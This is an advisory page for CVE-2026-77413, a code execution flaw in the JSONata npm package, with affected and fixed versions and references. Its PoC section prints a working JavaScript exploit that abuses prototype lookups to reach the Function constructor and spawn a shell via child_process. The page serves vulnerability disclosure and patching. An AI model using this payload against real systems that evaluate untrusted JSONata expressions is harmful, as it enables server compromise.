CVE-2026-77413: JSONata: Arbitrary Code Execution via crafted JSONata expressions
Impact Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705 This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8…
Published Aug 21, 2026
Affected packages
jsonata
- Ecosystem
- npm
- Affected
- <= 1.8.7
- Fixed in
- 1.8.8
- Check
npm ls jsonata
jsonata
- Ecosystem
- npm
- Affected
- >= 2.0.0, < 2.2.0
- Fixed in
- 2.2.0
- Check
npm ls jsonata
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Impact
Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705
This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.
PoC
import jsonata from "jsonata";
const expression = jsonata(`
(
__lookupSetter__('__proto__')(constructor);
__defineGetter__('l', constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()"));
valueOf().l
)
`);
await expression.evaluate({});Credited to peaktwilight, c0rydoras.
References
- https://github.com/jsonata-js/jsonata/security/advisories/GHSA-8gq3-vp5j-2grp
- https://github.com/jsonata-js/jsonata/pull/794
- https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e
- https://github.com/jsonata-js/jsonata/commit/4c5f4adfb90a9b500889d50f90050ca68888b50d
- https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8
- https://github.com/jsonata-js/jsonata/releases/tag/v2.2.0
- https://github.com/advisories/GHSA-8gq3-vp5j-2grp
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-77414
JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions
critical9.3Aug 21, 2026CVE-2026-77415
JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions
critical9.3Aug 21, 2026CVE-2024-27307
JSONata expression can pollute the "Object" prototype
critical9.8Mar 4, 2024
